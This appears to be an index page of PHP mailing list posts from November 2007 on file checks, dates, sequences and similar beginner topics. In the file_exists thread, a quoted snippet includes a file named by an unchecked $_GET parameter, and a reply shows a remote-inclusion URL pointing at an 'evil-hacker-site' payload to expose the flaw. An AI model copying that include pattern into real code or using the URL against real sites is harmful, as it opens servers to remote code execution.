Re: [PHP] file_exists

2007-11-14 Thread William Betts
Ronald Wiplinger wrote: Stut wrote: Philip Thompson wrote: I've run into similar problems where I *thought* I was looking in the correct location... but I wasn't. Take this for example I really hope this is not a piece of production code. If it is then you might want to th

Re: [PHP] file_exists - this part is of topic

2007-11-14 Thread Ronald Wiplinger
Instruct ICC wrote: > > > Called like this? > > index.php?page=http://evil-hacker-site.com/evil-payload.php > > And the browser will probably url_encode for me if needed. > _ > Climb to the top of the charts! Play Star Shuffle: the w

RE: [PHP] CLI spinner processing

2007-11-14 Thread Daevid Vincent
> -Original Message- > From: Per Jessen [mailto:[EMAIL PROTECTED] > Sent: Wednesday, November 14, 2007 1:08 AM > > Daevid Vincent wrote: > > > I am importing millions of records, and didn't want to > waste CPU time on computing modulus on some huge $i value. :) > > So instead you spen

Re: [PHP] file_exists

2007-11-14 Thread Ronald Wiplinger
Stut wrote: > Philip Thompson wrote: >> I've run into similar problems where I *thought* I was looking in the >> correct location... but I wasn't. Take this for example >> >> > $page = $_GET['page']; >> if (file_exists ("$page.php")) { >> include ("$page.php"); >> } >> ?> > > I really hope

RE: [PHP] file_exists

2007-11-14 Thread Instruct ICC
> Date: Thu, 15 Nov 2007 00:20:52 + > From: [EMAIL PROTECTED] > To: [EMAIL PROTECTED] > CC: php-general@lists.php.net > Subject: Re: [PHP] file_exists > > Philip Thompson wrote: >> I've run into similar problems where I *thought* I was looking in the >> correct location... but I wasn't. Take

RE: [PHP] Is there a 'Beginner's' PHP List

2007-11-14 Thread Instruct ICC
> Date: Wed, 14 Nov 2007 13:20:16 -0800 > From: [EMAIL PROTECTED] > To: php-general@lists.php.net > Subject: [PHP] Is there a 'Beginner's' PHP List > > Come to think of it - if there is a more basic 'newbie' forum list (for PHP > beginners like myself) that anyone knows of (I found a few listed

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Robert Cummings
On Wed, 2007-11-14 at 22:23 -0500, tedd wrote: > At 1:54 PM -0600 11/14/07, Philip Thompson wrote: > >I know I can't be the only one that puts/creates a face for each person on > >this list... =P > > No, but I'm the best looking one. I'll leave smart for someone else. Are you trying to be smart

RE: [PHP] Newbie question - current date - time

2007-11-14 Thread tedd
At 7:00 PM -0800 11/14/07, Instruct ICC wrote: But dude, there are many ways to skin a cat. Yeah, but he's not going to like any of them. :-) Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To uns

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread tedd
At 1:54 PM -0600 11/14/07, Philip Thompson wrote: I know I can't be the only one that puts/creates a face for each person on this list... =P No, but I'm the best looking one. I'll leave smart for someone else. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://ear

RE: [PHP] Newbie question - current date - time

2007-11-14 Thread Instruct ICC
> Date: Wed, 14 Nov 2007 09:39:19 -0800 > From: [EMAIL PROTECTED] > To: php-general@lists.php.net > Subject: [PHP] Newbie question - current date - time > > Hi Folks, > > Newbie question : > > - how do I get and display the current date? > - how do I get and display the current time? > > I see t

Re: [PHP] Re: functions versus includes

2007-11-14 Thread Frank Lopes
<> Stut, You pointed me in the right direction, thank you. "Stut" <[EMAIL PROTECTED]> wrote in message news:[EMAIL PROTECTED] Frank Lopes wrote: No takers on this topic? The question is not one of performance since while it will be quicker to call a function than include a file the diffe

[PHP] Is there a 'Beginner's' PHP List

2007-11-14 Thread [EMAIL PROTECTED]
Come to think of it - if there is a more basic 'newbie' forum list (for PHP beginners like myself) that anyone knows of (I found a few listed below) - please let me know and I'll use that instead for these 'basic' questions... Until I get up to speed... I found these 2 - any others (better)? http

Re: [PHP] Generating sequence of AlphaNumber

2007-11-14 Thread Casey
Try sprintf(). On Nov 14, 2007, at 4:32 PM, Jeffery Fernandez <[EMAIL PROTECTED]> wrote: Hi all, I am having trouble generating a sequence of numbers from the following start value: AX0001 what I have done so far is loop through each character and check if its a alphabet and separa

[PHP] Generating sequence of AlphaNumber

2007-11-14 Thread Jeffery Fernandez
Hi all, I am having trouble generating a sequence of numbers from the following start value: AX0001 what I have done so far is loop through each character and check if its a alphabet and separating the characters and digits. But when I increment the digits, its strips of the leading zeros. How

Re: [PHP] Generating sequence of AlphaNumber

2007-11-14 Thread Jeffery Fernandez
On Thu, 15 Nov 2007 11:48:07 am Stephen Edberg wrote: > On Thu, 15 Nov 2007, Jeffery Fernandez wrote: > > Hi all, > > > > I am having trouble generating a sequence of numbers from the following > > start value: > > AX0001 > > > > what I have done so far is loop through each character and check if i

Re: [PHP] Generating sequence of AlphaNumber

2007-11-14 Thread Stephen Edberg
On Thu, 15 Nov 2007, Jeffery Fernandez wrote: > Hi all, > > I am having trouble generating a sequence of numbers from the following start > value: > AX0001 > > what I have done so far is loop through each character and check if its a > alphabet and separating the characters and digits. > > But whe

Re: [PHP] file_exists

2007-11-14 Thread Stut
Philip Thompson wrote: I've run into similar problems where I *thought* I was looking in the correct location... but I wasn't. Take this for example I really hope this is not a piece of production code. If it is then you might want to think very hard about what it's doing. If you still c

Re: [PHP] Is there a 'Beginner's' PHP List

2007-11-14 Thread Chris
Philip Thompson wrote: On Nov 14, 2007 3:20 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote: Come to think of it - if there is a more basic 'newbie' forum list (for PHP beginners like myself) that anyone knows of (I found a few listed below) - please let me know and I'll use that instead for th

RE: [PHP] file_exists

2007-11-14 Thread Warren Vail
> >>> if (file_exists('/srv/www/../images/pic412.jpg') { Two left parens, one right, surprised you don't get a syntax error? Warren Vail -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] file_exists

2007-11-14 Thread Philip Thompson
On Nov 14, 2007 5:04 PM, Chris <[EMAIL PROTECTED]> wrote: > Ronald Wiplinger wrote: > > Chris wrote: > >> Ronald Wiplinger wrote: > >>> I am having troubles with the function file_exists() > >>> > >>> I tried the full path like: > >>> > >>> if (file_exists('/srv/www/../images/pic412.jpg') { >

Re: [PHP] file_exists

2007-11-14 Thread Chris
Ronald Wiplinger wrote: Chris wrote: Ronald Wiplinger wrote: I am having troubles with the function file_exists() I tried the full path like: if (file_exists('/srv/www/../images/pic412.jpg') { echo ""; } else { echo " " //picture is missing! } No matter if

Re: [PHP] Is there a 'Beginner's' PHP List

2007-11-14 Thread Philip Thompson
On Nov 14, 2007 3:20 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote: > Come to think of it - if there is a more basic 'newbie' forum list (for > PHP > beginners like myself) that anyone knows of (I found a few listed below) - > please let me know and I'll use that instead for these 'basic' > ques

Re: [PHP] Is there a 'Beginner's' PHP List

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 4:20 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote: > Come to think of it - if there is a more basic 'newbie' forum list (for PHP > beginners like myself) that anyone knows of (I found a few listed below) - > please let me know and I'll use that instead for these 'basic' questions

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread Jürgen Wind
better use Date() in js ... tedd-2 wrote: > > Current date/time for whom? > > For your server, use php's date(). > > For the user, use javascript's date(). > > It's so cool to be multilingual. :-) > > Cheers, > > tedd > > -- > --- > http://sperling.com http://ancientstones.com http

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 3:54 PM, Jason Pruim <[EMAIL PROTECTED]> wrote: [snip] > Now... Just exactly what makes you think it was a typo oh Master > Brown? [snip] Yeah, keep it up, smartass. I'm on to you ;-P -- Daniel P. Brown [office] (570-) 587-7080 Ext. 272 [mobile] (570-) 766-8107 If at fi

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread Jason Pruim
On Nov 14, 2007, at 3:39 PM, Daniel Brown wrote: On Nov 14, 2007 3:19 PM, Jon Westcot <[EMAIL PROTECTED]> wrote: Hi: Hi Folks, Newbie question : - how do I get and display the current date? - how do I get and display the current time? I see the getdate function - but I'm not sure if this

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 3:19 PM, Jon Westcot <[EMAIL PROTECTED]> wrote: > Hi: > > > > Hi Folks, > > > > > > Newbie question : > > > > > > - how do I get and display the current date? > > > - how do I get and display the current time? > > > > > > I see the getdate function - but I'm not sure if this is the

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread Jon Westcot
Hi: > > Hi Folks, > > > > Newbie question : > > > > - how do I get and display the current date? > > - how do I get and display the current time? > > > > I see the getdate function - but I'm not sure if this is the right > > function > > or how to display it > > > > http://www.php.net/manual/e

RE: [PHP] Sending Pictures to Cell Phones

2007-11-14 Thread Bastien Koert
What is the actual planned implemtation? Email or SMS/MMS? if the latter, you are looking for MMS specs (send XML SMS to phone with media) Try http://hellkvist.org/software/ for code samples HTH Bastien > Date: Wed, 14 Nov 2007 13:45:05 -0600> From: [EMAIL PROTECTED]> To: > php-gen

Re: [PHP] Sending Pictures to Cell Phones

2007-11-14 Thread Philip Thompson
On Nov 14, 2007 12:27 PM, <[EMAIL PROTECTED]> wrote: > Hey list, > > I'm doing some R&D for a project at my job and my boss wants the ability > to send pictures to cell phones. I was wondering if anyone had any > experience with this or could point me in the right direction to get > started. > > T

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 2:54 PM, Philip Thompson <[EMAIL PROTECTED]> wrote: > I know I can't be the only one that puts/creates a face for each person on > this list... =P You don't have to with me, Philip. Since you use Gmail, simply mouseover my name and you'll see my ugly mug staring right back a

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Philip Thompson
On Nov 14, 2007 1:04 PM, Daniel Brown <[EMAIL PROTECTED]> wrote: > On Nov 14, 2007 2:00 PM, Robert Cummings <[EMAIL PROTECTED]> wrote: > > On Wed, 2007-11-14 at 13:36 -0500, Daniel Brown wrote: > > > On Nov 14, 2007 12:55 PM, Robert Cummings <[EMAIL PROTECTED]> > > > wrote: > > > > > Hey, no w

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 2:00 PM, Robert Cummings <[EMAIL PROTECTED]> wrote: > On Wed, 2007-11-14 at 13:36 -0500, Daniel Brown wrote: > > On Nov 14, 2007 12:55 PM, Robert Cummings <[EMAIL PROTECTED]> > > wrote: > > > > Hey, no worries. You'll be able to officially thank the community > > > > when we go

Re: [PHP] file_exists

2007-11-14 Thread Ronald Wiplinger
Chris wrote: > Ronald Wiplinger wrote: >> I am having troubles with the function file_exists() >> >> I tried the full path like: >> >> if (file_exists('/srv/www/../images/pic412.jpg') { >> echo ""; >> } else { >> echo " " //picture is missing! >> } >> >> No matter

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Robert Cummings
On Wed, 2007-11-14 at 13:55 -0500, Nathan Nobbe wrote: > On Nov 14, 2007 1:39 PM, Daniel Brown <[EMAIL PROTECTED]> wrote: > > > If you don't know how it works, you can > > bitch about the syntax manuals being "too vague". > > > im going to take the opportunity here and bitch about the documentat

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Robert Cummings
On Wed, 2007-11-14 at 13:36 -0500, Daniel Brown wrote: > On Nov 14, 2007 12:55 PM, Robert Cummings <[EMAIL PROTECTED]> > wrote: > > > Hey, no worries. You'll be able to officially thank the community > > > when we go to the new mandatory donation system on the list on 1 > > > January, 2008. W

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Nathan Nobbe
On Nov 14, 2007 1:39 PM, Daniel Brown <[EMAIL PROTECTED]> wrote: > If you don't know how it works, you can > bitch about the syntax manuals being "too vague". im going to take the opportunity here and bitch about the documentation for the DateTime object built into php5; it sucks :-O -nathan

Re: [PHP] Sending Pictures to Cell Phones

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 1:27 PM, <[EMAIL PROTECTED]> wrote: > Hey list, > > I'm doing some R&D for a project at my job and my boss wants the ability > to send pictures to cell phones. I was wondering if anyone had any > experience with this or could point me in the right direction to get > started. > > Th

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 1:03 PM, tedd <[EMAIL PROTECTED]> wrote: > There's a manual? > > I though you guys were making this stuff up as you went along. :-) > > Cheers, > > tedd > -- > --- > http://sperling.com http://ancientstones.com http://earthstones.com > In actuality, Tedd, that's a very a

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 12:55 PM, Robert Cummings <[EMAIL PROTECTED]> wrote: > > On Wed, 2007-11-14 at 12:26 -0500, Daniel Brown wrote: > > > On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote: > > > > I recently subscribed to php-general(2 months I think) and during this > > > > time I saw some nice st

[PHP] Sending Pictures to Cell Phones

2007-11-14 Thread jeremy
Hey list, I'm doing some R&D for a project at my job and my boss wants the ability to send pictures to cell phones. I was wondering if anyone had any experience with this or could point me in the right direction to get started. Thanks, Jeremy -- PHP General Mailing List (http://www.php.net/) To

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread [EMAIL PROTECTED]
Thanks Folks, The date function worked great! -- Thanks - RevDave Cool7 @ hosting4days . com [db-lists] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread tedd
At 9:39 AM -0800 11/14/07, [EMAIL PROTECTED] wrote: Hi Folks, Newbie question : - how do I get and display the current date? - how do I get and display the current time? I see the getdate function - but I'm not sure if this is the right function or how to display it http://www.php.net/man

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread tedd
There's a manual? I though you guys were making this stuff up as you went along. :-) Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Robert Cummings
On Wed, 2007-11-14 at 12:26 -0500, Daniel Brown wrote: > > On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote: > > > I recently subscribed to php-general(2 months I think) and during this > > > time I saw some nice stuff, but most of the times (90% ?) It's always > > > the same thing. > > > PHP

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread Robert . Degen
Check out "date" function. Prints out nice local time, what you need can be made by changing the "r" option. Have a look at the manual for alternatives to "r" liek Y for year, etc... so far - Ursprüngliche Nachricht - Von: "[EMAIL PROTECTED]" <[EMAIL PROTECTED]> Datum: Donnerstag, No

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 12:39 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote: > Hi Folks, > > Newbie question : > > - how do I get and display the current date? > - how do I get and display the current time? > > I see the getdate function - but I'm not sure if this is the right function > or how to displa

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread William Betts
Hello, Use the date function http://us3.php.net/date. Regards, William Betts [EMAIL PROTECTED] wrote: Hi Folks, Newbie question : - how do I get and display the current date? - how do I get and display the current time? I see the getdate function - but I'm not sure if this is the right f

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread Luis Lorenzo - Quadricula
Hi! Look at this: http://es.php.net/manual/es/function.date.php [EMAIL PROTECTED] escribió: Hi Folks, Newbie question : - how do I get and display the current date? - how do I get and display the current time? I see the getdate function - but I'm not sure if this is the right function or

Re: [PHP] Newbie question - current date - time

2007-11-14 Thread Jason Pruim
On Nov 14, 2007, at 12:39 PM, [EMAIL PROTECTED] wrote: Hi Folks, Newbie question : - how do I get and display the current date? - how do I get and display the current time? I see the getdate function - but I'm not sure if this is the right function or how to display it http://www.php

[PHP] Newbie question - current date - time

2007-11-14 Thread [EMAIL PROTECTED]
Hi Folks, Newbie question : - how do I get and display the current date? - how do I get and display the current time? I see the getdate function - but I'm not sure if this is the right function or how to display it http://www.php.net/manual/en/function.getdate.php -- Thanks - RevDave Coo

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Daniel Brown
> On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote: > > I recently subscribed to php-general(2 months I think) and during this > > time I saw some nice stuff, but most of the times (90% ?) It's always > > the same thing. > > PHP "Developers" that really have some kind of problem about reading

RE: [PHP] PHP Developers and the manual

2007-11-14 Thread Jay Blanchard
[snip] So I guess the point of this e-mail, is to say thanks to everyone who has helped me. :) [/snip] +1 and a cast of thousands. Even if the answer is terse like; http://www.php.net/manual/en/indexes.php it typically gives the inquirer a place to start. The way that the manual is organized

Re: [PHP] PHP Developers and the manual

2007-11-14 Thread Jason Pruim
On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote: I recently subscribed to php-general(2 months I think) and during this time I saw some nice stuff, but most of the times (90% ?) It's always the same thing. PHP "Developers" that really have some kind of problem about reading the Documentat

[PHP] PHP Developers and the manual

2007-11-14 Thread João Amaro Lagedo
I recently subscribed to php-general(2 months I think) and during this time I saw some nice stuff, but most of the times (90% ?) It's always the same thing. PHP "Developers" that really have some kind of problem about reading the Documentation. This is not a rant, really! I'm an experienced develop

RE: [PHP] Cannot send a hyperlink

2007-11-14 Thread Brad
I implemented the proposed code, and emails are not being sent? Any suggestions? Here is the code ".$eol; $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol; $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol; $headers .= "Message-ID: <".time()."-".$fromaddress."

Re: [PHP] Cannot send a hyperlink

2007-11-14 Thread Daniel Brown
Brad, That code is a mess and highly incorrect, even at a novice level. Let me give you a hand On Nov 14, 2007 10:31 AM, Brad <[EMAIL PROTECTED]> wrote: > I implemented the proposed code, and emails are not being sent? > > Any suggestions? > > Here is the code > > > $email = $_REQU

Re: [PHP] Segfault strangeness

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 7:44 AM, Paul Scott <[EMAIL PROTECTED]> wrote: > > On Wed, 2007-11-14 at 13:32 +0100, Per Jessen wrote: > > Backtrace? > > > backtrace > #0 0xb691f310 in ?? () > #1 0xb7874705 in CRYPTO_lock () > from /usr/lib/i686/cmov/libcrypto.so.0.9.8 > #2 0xb78e057d in ?? () from /usr/lib/i

RE: [PHP] Run process in background

2007-11-14 Thread admin
You need to run wget from a cron job. -Original Message- From: Viacheslav Chumushuk [mailto:[EMAIL PROTECTED] Sent: Wednesday, November 14, 2007 9:10 AM To: php-general@lists.php.net Subject: [PHP] Run process in background Hello. I want to run process from my php script in background

Re: [PHP] Run process in background

2007-11-14 Thread Daniel Brown
On Nov 14, 2007 10:10 AM, Viacheslav Chumushuk <[EMAIL PROTECTED]> wrote: > Hello. > > I want to run process from my php script in background. > I try different functions from functions list but all of them whaiting for > process ending. > > How can I run `wget -b ...` and finish my script, but wge

[PHP] Run process in background

2007-11-14 Thread Viacheslav Chumushuk
Hello. I want to run process from my php script in background. I try different functions from functions list but all of them whaiting for process ending. How can I run `wget -b ...` and finish my script, but wget must still working? I use PHP5, Linux, Apache2. Thank You. -- PHP General Maili

Re: [PHP] Segfault strangeness

2007-11-14 Thread Paul Scott
On Wed, 2007-11-14 at 14:17 +0100, Per Jessen wrote: > OK, so quite a few things could have changed - in PHP or in apache. > However, you said you reproduced the problem using CLI, so we're > talking PHP or something underlying. It looks as though libcrypto has gotten itself into a knot. I did

Re: [PHP] Segfault strangeness

2007-11-14 Thread Per Jessen
Paul Scott wrote: > Not completely, just following regular Ubuntu updates. I have disabled > all sites (a2dissite) and stopped appArmour as well, with no change to > the issue. OK, so quite a few things could have changed - in PHP or in apache. However, you said you reproduced the problem using

Re: [PHP] Segfault strangeness

2007-11-14 Thread Paul Scott
On Wed, 2007-11-14 at 13:32 +0100, Per Jessen wrote: > Backtrace? > backtrace #0 0xb691f310 in ?? () #1 0xb7874705 in CRYPTO_lock () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 #2 0xb78e057d in ?? () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 #3 0x0009 in ?? () #4 0x0001 in ?? () #5

Re: [PHP] Segfault strangeness

2007-11-14 Thread Per Jessen
Paul Scott wrote: > Program received signal SIGSEGV, Segmentation fault. > [Switching to Thread -1215904080 (LWP 15747)] > 0xb6978310 in ?? () Backtrace? > I am not aware of any updates or anything that *may* possibly have > broken things, but am open to suggestions So, absolutely nothing h

[PHP] Segfault strangeness

2007-11-14 Thread Paul Scott
All of a sudden, I am getting a bunch of segfaults in PHP. The Apache2 error log simply says: [Wed Nov 14 11:43:36 2007] [notice] child pid 10982 exit signal Segmentation fault (11) and if I run the script through PHP-CLI it outputs the expected HTML, but with a Segmentation Fault notice at the

RE: [PHP] PHP access of FileMaker data

2007-11-14 Thread Paul Novitski
At 11/14/2007 01:02 AM, George Pitcher wrote: Paul, > What I'm really looking for is a PHP class that will read FileMaker > files in their native format. I'm beginning to suspect that none > exists in the public arena. Someone please tell me there is! ... I'm just exporting my tables (files

Re: [PHP] CLI spinner processing

2007-11-14 Thread Per Jessen
Daevid Vincent wrote: > I am importing millions of records, and didn't want to waste CPU time > on computing modulus on some huge $i value. :) So instead you spend it on displaying a progress indicator :-) besides, modulus 8 is done by one single instruction - of which a modern processor does s

RE: [PHP] PHP access of FileMaker data

2007-11-14 Thread George Pitcher
Paul, > What I'm really looking for is a PHP class that will read FileMaker > files in their native format. I'm beginning to suspect that none > exists in the public arena. Someone please tell me there is! I've been a Filemaker user (and had some Lasso and Frontier driven sites once). I still u

Re: [PHP] PHP access of FileMaker data

2007-11-14 Thread Paul Novitski
Thanks Daniel. However, as soon as I started reading the fx-php documentation I ran into this: "FX.php is a PHP class which parses the XML output by FileMaker Pro's web companion..." The FM Web Companion is another whole ball of wax and appears to be a live agent running on the server hostin

[PHP] CLI spinner processing

2007-11-14 Thread Daevid Vincent
Check out this cool little snippet for use in CLI scripts. It shows processing with a spinner. It took me a little while to figure out the magic combination of the cursor array and ternary operator. My main goal was to make it as self contained and efficient as possible. I am importing millions